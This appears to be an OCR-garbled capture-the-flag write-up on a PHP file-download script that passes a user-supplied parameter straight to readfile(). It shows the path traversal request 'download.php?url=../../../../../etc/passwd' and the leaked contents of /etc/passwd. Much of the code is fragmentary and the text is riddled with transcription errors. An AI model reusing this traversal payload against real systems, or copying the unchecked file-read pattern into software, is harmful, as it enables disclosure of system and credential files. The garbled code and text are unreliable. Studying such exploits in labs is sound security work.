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T #78 #download.php

<?php

include_once (

$filename = $ GET[ 1;

$file = new Down();

$downfile $file downfile($filename);

?>
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download.php?url=download.class.php

<?php

class Down

{

function downfile($file){
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$filename
$file_extension

basename($file);
strtolower(substr(strrchr($filename,

switch( $file_extension ) {

case : $ctype

case : $ctype
case : $ctype
case : $ctype
case : $ctype
case : $ctype
case : $ctype
case : $ctype
case :

case : $ctype
case : $ctype
case : $ctype
case :

case

case : $ctype
case : $ctype
case : $ctype

header(

$header
header($header );

@readfile($file);

exit;
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$ctype”);

),>1));5

; break;
; break;
; break;
; break;
; break;
; break;

; break;
; break;

; break;

; break;
; break;

; break;
; break;
; break;

. $file _extension .

.$filename.

); break;




download.php?url=../../../../../etc/passwd

5 %flag

Bl passwd - 5%
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rootx:0:0:root:/root:/bin/bashdaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologinsys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/shin/nologin
Ipx:7:7:1p:/var/spool/lpd:/usr/sbin/nologin
mailx:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nalogin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologinwww-data:x:33:33:www-
data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologinlist:x:38:38:Mailing List
Manager:/var/list:/usr/sbin/nologin
ircx:39:3%:ircd:/var/run/ircd:/usr/sbin/nologingnatsx:41:41:Gnats Bug-Reporting
System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
libuuid:x:100:101::/var/lib/libuuid:syslog:x:101:104::/home/syslog:/bin/false
messagebus:x:102:106::/var/run/dbus:/bin/false
landscape:x:103:109::/var/lib/landscape:/bin/false
sshd:x:104:65534:;/var/run/sshd:/usr/sbin/nologin
pollinatex:105:1::/var/cache/pollinate:/bin/false
ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bashmysql:x:106:112:MySQL
Server,,,;/nonexistent:/bin/false|GhlElLErE S LT
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